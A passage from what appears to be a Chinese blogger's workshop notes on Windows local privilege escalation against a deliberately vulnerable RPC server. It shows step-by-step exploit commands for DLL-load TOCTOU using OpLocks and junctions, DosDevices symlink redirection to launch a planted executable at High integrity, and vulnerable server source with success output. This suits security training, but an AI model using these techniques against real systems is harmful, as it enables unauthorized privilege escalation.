c:\workshop\test\abc</span><br></pre></td></tr></table></figure><p>拷贝我们的 evil.dll 至 c:\workshop\test\,重命名为 abc.dll,即 c:\workshop\test\abc.dll</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>CopyFile.exe c:\workshop\ExploitTools\TestDll32.dll c:\workshop\test\abc.dll</span><br><span class="line">Copied c:\workshop\ExploitTools\TestDll32.dll to c:\workshop\test\abc.dll</span><br></pre></td></tr></table></figure><p>DemoClient.exe 输入 c:\workshop\test\abc</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line">4 - Test Load Library TOCTOU</span><br><span class="line">5 - Test Load Library TOCTOU Hardened</span><br><span class="line">6 - Duplicate handle</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 4</span><br><span class="line"></span><br><span class="line">Specify library name: c:\workshop\test\abc</span><br></pre></td></tr></table></figure><p>RpcServer 弹框提示成功</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Hello From Process 1712</span><br><span class="line">Integrity: High</span><br><span class="line">UIAccess: false</span><br><span class="line">Elevated: true</span><br></pre></td></tr></table></figure><h2 id="8-DEMO-8-Symbolic-Link-TOCTOU"><a href="#8-DEMO-8-Symbolic-Link-TOCTOU" class="headerlink" title="8 DEMO 8 : Symbolic Link TOCTOU"></a>8 DEMO 8 : Symbolic Link TOCTOU</h2><p>这个 Case 是上一个的加强版,再次输入上面的 c:\workshop\test\abc,RpcServer 端提示错误:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Extension is:</span><br><span class="line">Invalid DLL extension</span><br></pre></td></tr></table></figure><p>看来是添加了对扩展名的检查</p><h3 id="8-1-源码"><a href="#8-1-源码" class="headerlink" title="8.1 源码"></a>8.1 源码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> boolean <span class="title function_">TestLoadLibraryTocTouHardened</span><span class="params">(<span class="type">handle_t</span> hBinding, <span class="type">const</span> <span class="type">wchar_t</span>* lib_path)</span></span><br><span class="line">{</span><br><span class="line"> LPWSTR ext = PathFindExtensionW(lib_path);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Extension is: %ls\n"</span>, ext);</span><br><span class="line"> <span class="keyword">if</span> (ext == nullptr || _wcsicmp(ext, <span class="string">L".dll"</span>) != <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Invalid DLL extension %ls\n"</span>, ext);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Lock DLL file over calls.</span></span><br><span class="line"> ScopedHandle <span class="title function_">handle</span><span class="params">(CreateFile(lib_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, <span class="number">0</span>, nullptr))</span>;</span><br><span class="line"> <span class="keyword">if</span> (handle.IsInvalid())</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error opening dll file: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!CheckFileIsInSystem(handle))</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"File not in system directory\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> HMODULE hModule = LoadLibrary(lib_path);</span><br><span class="line"> <span class="keyword">if</span> (hModule != nullptr)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Loaded module: %p\n"</span>, hModule);</span><br><span class="line"> FreeLibrary(hModule);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error loading module: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> <span class="title function_">CheckFileIsInSystem</span><span class="params">(<span class="type">const</span> ScopedHandle& handle)</span></span><br><span class="line">{</span><br><span class="line"> WCHAR path[MAX_PATH];</span><br><span class="line"> <span class="keyword">if</span> (GetFinalPathNameByHandleW(handle.Get(), path, MAX_PATH, <span class="number">0</span>) == <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error checking executable file path: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Referenced File is %ls\n"</span>, path);</span><br><span class="line"> PathRemoveFileSpec(path);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Directory is %ls\n"</span>, path);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">wstring</span> system = GetPathFromEnv(IsWow64() ? FOLDERID_SystemX86 : FOLDERID_System);</span><br><span class="line"> system = <span class="string">L"\\\\?\\"</span> + system;</span><br><span class="line"> <span class="keyword">return</span> _wcsicmp(path, system.c_str()) == <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>源码中除了有后缀名 “.dll” 的检查,还有对文件路径 “C:\Windows\System32” 的检查</p><h3 id="8-2-为什么要-CreateFile-后检查-handle"><a href="#8-2-为什么要-CreateFile-后检查-handle" class="headerlink" title="8.2 为什么要 CreateFile 后检查 handle"></a>8.2 为什么要 CreateFile 后检查 handle</h3><p>CreateFile 之后再通过 handle 进一步检查,可以保证 CheckFileIsInSystem 中访问的文件与 CreateFile 中的参数是同一个文件。</p><h3 id="8-3-符号链接与文件替换"><a href="#8-3-符号链接与文件替换" class="headerlink" title="8.3 符号链接与文件替换"></a>8.3 符号链接与文件替换</h3><p>这个 Case 利用的利用方法是,使最终 LoadLibrary 的文件与前面检查的不是一个文件。利用到的技术有两个:OpLock 机会锁与符号连接。</p><p>创建指向 c:\Windows\System32 的符号链接</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>mklink /J c:\workshop\test c:\windows\system32</span><br></pre></td></tr></table></figure><p>启动对目标文件的 OpLock,监控文件的读写行为,发生读写行为时会触发阻塞式的回调</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>start ..\symboliclink-testing-tools\SetOpLock.exe c:\Windows\System32\tapi32.dll x</span><br></pre></td></tr></table></figure><p>在 DemoClient 中输入 tapi32.dll 的新路径(也可以为其他文件名,要求 system32 目录下存在)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line">4 - Test Load Library TOCTOU</span><br><span class="line">5 - Test Load Library TOCTOU Hardened</span><br><span class="line">6 - Duplicate handle</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 5</span><br><span class="line"></span><br><span class="line">Specify library name: c:\workshop\test\tapi32.dll</span><br></pre></td></tr></table></figure><p>此时 RpcServer 中的 CreateFile 会触发 SetOpLock.exe 的监控,由于 RpcServer 中只有一次文件打开动作,后面都是通过 handle 来处理,所以处理的是 c:\windows\system32\tapi32.dll 的 handle。所以此时我们替换了 test 文件夹的符号链接目标,不再链接至 c:\Windows\System32。删除旧 test 文件夹,新建 test 文件夹,并且在其中拷贝一份我们的 evil.dll(修改文件名为 tapi32.dll)。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools> rmdir c:\workshop\test</span><br><span class="line">c:\workshop\ExploitTools> mkdir c:\workshop\test</span><br><span class="line">c:\workshop\ExploitTools> CopyFile.exe TestDll32.dll c:\workshop\test\tapi32.dll</span><br></pre></td></tr></table></figure><p>在 SetOpLock.exe 标准输入中,输入回车。</p><p>成功弹框提权后的 Hello 问候。</p><h3 id="8-4-OpLock"><a href="#8-4-OpLock" class="headerlink" title="8.4 OpLock"></a>8.4 OpLock</h3><p>OpLock 是冲突锁,当出现对文件操作的冲突时,就会触发 OpLock。</p><p>OpLock 本身是用于缓存文件加速网络访问效率而实现的。客户端程序通过 DeviceIoControl 与内核中的 OpLock 驱动模块交互。</p><p>客户端应用可以利用这个特性实现对文件的监控,尤其是 Io Code 为 FSCTL_REQUEST_OPLOCK_LEVEL_1 时。</p><p>参考 <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa364590(v=vs.85).aspx">MSDN FSCTL_REQUEST_OPLOCK_LEVEL_1</a></p><p>在本例中,客户端对 tapi32.dll 注册 OpLock 时,服务端 CreateFile 时就会阻塞,此时客户端得到通知,替换 test 目录,不再指向 c:\windows\system32,然后继续执行。</p><p>服务端得到 c:\windows\system32\tapi32.dll 的 handle,所以后面判断路径时有效。而 LoadLibrary 时再次使用的 lib_path,但 lib_path 保存的是 c:\workshop\test\tapi32.dll,加载的是我们自己的 Evil.dll。</p><p>想到一个与本 Case 无关的问题,CreateFile 成功获得文件 handle 之后,文件能被删除吗?</p><p>如果 CreateFile 时指定的 dwShareMode 包含 FILE_SHARE_DELETE,那其他进程就可以删除此文件,只不过删除之后,通过当前 handle 对文件的读写操作就会返回失败。</p><h3 id="8-5-DEMO-7-TOCTOU-on-Name-有了新解"><a href="#8-5-DEMO-7-TOCTOU-on-Name-有了新解" class="headerlink" title="8.5 DEMO 7 TOCTOU on Name 有了新解"></a>8.5 DEMO 7 TOCTOU on Name 有了新解</h3><p>利用 OpLock 机制,Demo 7 的 TOCTOU Case 也有了新的解法。</p><ul><li>在 c:\workshop\test 符号链接指向 c:\windows\system32,然后对 c:\windows\system32\kernel32.dll 设置 OpLock</li><li>在 DemoClient 输入 c:\workshop\test\kernel32.dll,由于实际指向的时 c:\windows\system\kernel32.dll,所以签名验证通过。</li><li>触发 SetOpLock.exe 锁,删除 c:\workshop\test,新建 c:\workshop\test,拷贝 c:\workshop\ExploitTools\TestDll32.dll 为 c:\workshop\test\kernel32.dll</li><li>SetOpLock.exe 回车,释放锁。</li><li>成功弹框提权后的 Hello 问候。</li></ul><h2 id="9-DEMO-9-DosDevices-Redirect"><a href="#9-DEMO-9-DosDevices-Redirect" class="headerlink" title="9 DEMO 9 : DosDevices Redirect"></a>9 DEMO 9 : DosDevices Redirect</h2><h3 id="9-1-服务端源码"><a href="#9-1-服务端源码" class="headerlink" title="9.1 服务端源码"></a>9.1 服务端源码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> boolean <span class="title function_">TestCreateProcess</span><span class="params">(</span></span><br><span class="line"><span class="params"><span class="type">handle_t</span> hBinding)</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"TestCreateProcess called\n"</span>);</span><br><span class="line"> RPC_STATUS status = RpcImpersonateClient(hBinding);</span><br><span class="line"> <span class="keyword">if</span> (status == <span class="number">0</span>)</span><br><span class="line">{</span><br><span class="line">STARTUPINFO startInfo = { <span class="number">0</span> };</span><br><span class="line">PROCESS_INFORMATION procInfo = { <span class="number">0</span> };</span><br><span class="line"></span><br><span class="line">startInfo.cb = <span class="keyword">sizeof</span>(startInfo);</span><br><span class="line">WCHAR cmdline[] = <span class="string">L"c:\\windows\\notepad.exe"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (CreateProcess(cmdline, cmdline, nullptr, nullptr,</span><br><span class="line">FALSE, <span class="number">0</span>, nullptr, nullptr, &startInfo, &procInfo))</span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Created Process: %d\n"</span>, procInfo.dwProcessId);</span><br><span class="line">CloseHandle(procInfo.hThread);</span><br><span class="line">CloseHandle(procInfo.hProcess);</span><br><span class="line"> RpcRevertToSelf();</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Error creating process: %d\n"</span>, GetLastError());</span><br><span class="line"> RpcRevertToSelf();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Error impersonating user: %d\n"</span>, status);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上面代码中,服务端模拟 ALPC 客户端的身份,启动了 notepad.exe 进程。</p><p>我们的目标就是绕过限制,启动自己的进程,甚至是启动高权限进程。</p><h3 id="9-2-RpcImpersonateClient-与-CreateProcess"><a href="#9-2-RpcImpersonateClient-与-CreateProcess" class="headerlink" title="9.2 RpcImpersonateClient 与 CreateProcess"></a>9.2 RpcImpersonateClient 与 CreateProcess</h3><p>RpcImpersonateClient 可以为当前线程创建一个 Impersonation 的身份,使当前服务端线程拥有客户端的 impersonation token,之后当前线程在调用某些 API 时就会以 impersonation token 身份验证权限。</p><p>CreateProcess 用于创建新进程,如果一个具有 impersonation token 的进程调用 CreateProcess 时,新进程会继承哪个 Token 呢? server primary token 还是 impersonation token?</p><p>可惜,是 server primary token。不过系统也提供了用于指定用户的 CreateProcess 版本 - CreateProcessAsUser。CreateProcessAsUser 可以通过指定 Token,代表用某个用户的身份创建进程。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">BOOL WINAPI <span class="title function_">CreateProcessAsUser</span><span class="params">(</span></span><br><span class="line"><span class="params"> _In_opt_ HANDLE hToken,</span></span><br><span class="line"><span class="params"> _In_opt_ LPCTSTR lpApplicationName,</span></span><br><span class="line"><span class="params"> _Inout_opt_ LPTSTR lpCommandLine,</span></span><br><span class="line"><span class="params"> _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,</span></span><br><span class="line"><span class="params"> _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,</span></span><br><span class="line"><span class="params"> _In_ BOOL bInheritHandles,</span></span><br><span class="line"><span class="params"> _In_ DWORD dwCreationFlags,</span></span><br><span class="line"><span class="params"> _In_opt_ LPVOID lpEnvironment,</span></span><br><span class="line"><span class="params"> _In_opt_ LPCTSTR lpCurrentDirectory,</span></span><br><span class="line"><span class="params"> _In_ LPSTARTUPINFO lpStartupInfo,</span></span><br><span class="line"><span class="params"> _Out_ LPPROCESS_INFORMATION lpProcessInformation</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以 RpcImpersonateClient 应该和 CreateProcessAsUser 配套使用,如果和 CreateProcess 一起使用,就容易出现身份不一致的问题。</p><p>在本 Case 中,正好可以验证一下,管理员权限打开 Sysinternals 工具集中的 Process Explorer,重复本 Case 中的测试过程,管理员权限打开 RpcServer.exe,普通用户权限打开 DemoClient->Rpc Client Test->ALPC->Test Create Process。</p><p>在 Process Explorer 选择展示 Intergrity Level 和 User 列,然后对比 RpcServer、DemoClient、notepad,发现 notepad 进程的启动用户和 Integrity Level 与 RpcServer 完全一致,Intergrity Level 均为 High,而 DemoClient 的 Intergrity Level 为 Medium。</p><p>参考:</p><ul><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms682429(v=vs.85).aspx">MSDN CreateProcessAsUser</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx">MSDN DuplicateTokenEx</a></p></li><li><p><a href="http://winapi.freetechsecrets.com/win32/WIN32Impersonation.htm">Win32 WIN32Impersonation</a></p></li></ul><p>有了这个问题,看来权限问题就不用解决了,剩下的就看如何来让 CreateProcess 创建的是我们可控的程序,直接替换 c:\system32\notepad.exe 文件肯定是不行的,权限不够,与 Impersonation 结合呢?</p><h3 id="与-GLOBAL"><a href="#与-GLOBAL" class="headerlink" title="??\ 与 \GLOBAL??\"></a>??\ 与 \GLOBAL??\</h3><p>对象管理器中,\DosDevices 下面保存着驱动创建的有名字的设备对象(方便暴露给用户态?)。为了隔离不同的用户会话,对象管理器对其中的 \DosDevices、\Windows、\BaseNamedObjects 隔离实例化,有一份全局的,然后每个用户也可以有一份属于自己的,并且自己的那份会 shadow 掉全局的,所以对这几个命名空间的修改只会影响自己。</p><p>\GLOBAL??\ 是指向全局 \DosDevices 的符号链接,\DosDevices 命名空间下保存着如 C:、COM1 等设备的符号链接,这些符号链接指向 \Devices 命名空间中的真实设备</p><p>??\ 比较特殊,它是个前缀,不是实际的命名空间。当对象管理器发现应用传递的路径以 ?? 为前缀时就会进入到查找私有 \DosDevices 命名空间的流程,首先从进程 EPROCESS 的 DeviceMap 开始,DeviceMap 的 DosDevicesDirectory 指向进程私有的 \DosDevices 命名空间,如果在这个私有 \DosDevices 没找到我们的目标对象,就会继续根据 DeviceMap 的 GlobalDosDevicesDirectory 查找,GlobalDosDevicesDirectory 总是指向 \GLOBAL??\</p><p>参考: [Windows Internals 7th Edition 第三章 Seesion Namespace 小结]</p><h3 id="利用-创建假-c-windows"><a href="#利用-创建假-c-windows" class="headerlink" title="利用 ??\ 创建假 c:\windows\"></a>利用 ??\ 创建假 c:\windows\</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">// 创建假的 windows 目录</span><br><span class="line">c:\workshop\symboliclink-testing-tools>mkdir c:\demo9\windows</span><br><span class="line"></span><br><span class="line">// 拷贝希望被执行的 evil 程序,注意名字需要为 notepad.exe</span><br><span class="line">c:\workshop\symboliclink-testing-tools>C:\workshop\ExploitTools\CopyFile C:\workshop\ExploitTools\DummyExe.exe c:\demo9\windows\notepad.exe</span><br><span class="line"></span><br><span class="line">// 启动管理员权限的 RpcServer.exe 和普通权限的 DemoClient.exe</span><br><span class="line">// 命令略</span><br><span class="line"></span><br><span class="line">// 关键一步,创建对象管理器中的符号链接,使私有 \DosDevices 中 c: 设备,指向 \GLOBAL??\C:\demo9,执行之后 c:\windows 就会指向以前的 C:\demo9\windows,而 c:\ 会发现只有 notepad.exe 和 windows。</span><br><span class="line"></span><br><span class="line">c:\workshop\symboliclink-testing-tools>CreateNativeSymlink.exe \??\C: \GLOBAL??\C:\demo9</span><br><span class="line">Opened Link \??\C: -> \GLOBAL??\C:\demo9: 00000070</span><br><span class="line">Press ENTER to exit and delete the symlink</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// DemoClient.exe 开始测试创建进程</span><br><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line">4 - Test Load Library TOCTOU</span><br><span class="line">5 - Test Load Library TOCTOU Hardened</span><br><span class="line">6 - Duplicate handle</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 1</span><br><span class="line"></span><br><span class="line">* 成功弹框提权后的 Hello 问候,High Integrity Level。</span><br></pre></td></tr></table></figure><p>本例中,没有执行实验文档中的 CreateMountPoint,发现仍然成功了,猜测教程中执行 CreateMountPoint 的原因是:我们的 c:\demo9\windows 假目录下没有 system32,可能会影响某些程序的执行。所以用 CreateMountPoint 提前创建挂载点,保证 system32 的正常文件访问,某些程序的依赖 dll 能够正常加载。</p><p>根据我以 calc.exe 实际测试,发现即便创建了挂载点也不能弹出计算器,会提示并行配置错误,这个暂时不深究了。</p><p>如果创建了 MountPoint,如何删除?</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\symboliclink-testing-tools>DeleteMountPoint.exe c:\demo9\Windows\system32</span><br></pre></td></tr></table></figure><h3 id="为什么没有创建-CreateNativeSymlink-exe-C-windows-GLOBAL-C-demo9-windows"><a href="#为什么没有创建-CreateNativeSymlink-exe-C-windows-GLOBAL-C-demo9-windows" class="headerlink" title="为什么没有创建 CreateNativeSymlink.exe ??\C:\windows \GLOBAL??\C:\demo9\windows"></a>为什么没有创建 CreateNativeSymlink.exe ??\C:\windows \GLOBAL??\C:\demo9\windows</h3><p>测试了一下,会失败,而且 Last Error Message 为空,猜测原因是:创建 ??\C:\windows 符号链接时,??\C: 已经是符号链接了,所以不允许为符号链接创建子级符号链接。</p><p>看了一下源码,CreateNativeSymlink 是调用 NtCreateSymbolicLinkObject,是在 Object Manager 中创建符号链接。</p><h2 id="10-DEMO-10-Handle-Duplication"><a href="#10-DEMO-10-Handle-Duplication" class="headerlink" title="10 DEMO 10 : Handle Duplication"></a>10 DEMO 10 : Handle Duplication</h2><p>试着运行了一下 DemoClient 的对应测试项,没有看懂是怎么回事儿,还是根据源码看看目标是什么吧</p><h3 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// RpcServer.cpp</span></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> <span class="type">int</span> <span class="title function_">TestDuplicateHandle</span><span class="params">(<span class="type">handle_t</span> hBinding, <span class="type">int</span> handle)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"TestDuplicateHandle called\n"</span>);</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> pid;</span><br><span class="line"> RPC_STATUS status = I_RpcBindingInqLocalClientPID(hBinding, &pid);</span><br><span class="line"> <span class="keyword">if</span> (status != ERROR_SUCCESS)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error getting local PID: %ls\n"</span>, GetErrorMessage(status).c_str());</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ScopedHandle <span class="title function_">process</span><span class="params">(OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid))</span>;</span><br><span class="line"> <span class="keyword">if</span> (process.IsInvalid())</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error getting opening process: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> HANDLE ret;</span><br><span class="line"> <span class="keyword">if</span> (!DuplicateHandle(process.Get(), (HANDLE)handle, process.Get(), &ret, <span class="number">0</span>, FALSE, DUPLICATE_SAME_ACCESS))</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error getting duplicating handle: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> (<span class="type">int</span>)ret;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>运行于 RpcServer 的这段代码的实现功能是:从 Rpc Client 进程复制一个 handle 给 Rpc Client 自己。测试时,客户端可以指定希望复制的 handle 值,我们的目标就是泄露 RpcServer 的 handle。</p><p>前面几行是获得 Rpc Client 进程的 Process Handle,后面调用 DuplicateHandle 是实际的 handle 复制动作,基本上唯一可控的就是 handle 值了</p><h3 id="pseudo-handle-伪-handle"><a href="#pseudo-handle-伪-handle" class="headerlink" title="pseudo handle(伪 handle)"></a>pseudo handle(伪 handle)</h3><p>有两个 handle 属于 pseudo-handle: -1 和 -2,分别是 GetCurrentProcess 和 GetCurrentThread 的返回值。这两个常量 handle 值并不是真正的 handle,而是为了方便程序员对当前进程、当前线程的引用而使用的伪 handle。</p><p>GetCurrentThread 返回的 handle 值永远是 -2,kernel32.dll 中反汇编的 GetCurrentThread 的源码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">HANDLE __stdcall <span class="title function_">GetCurrentThread</span><span class="params">()</span></span><br><span class="line">public _GetCurrentThread@0</span><br><span class="line">_GetCurrentThread@0 proc near</span><br><span class="line">mov eax, 0FFFFFFFEh</span><br><span class="line">retn</span><br><span class="line">_GetCurrentThread@0 endp</span><br></pre></td></tr></table></figure><p>实际上,当前线程的 handle 并不是 -2,实际的 handle 值可以通过调用 KeGetCurrentThread() 获得。</p><h3 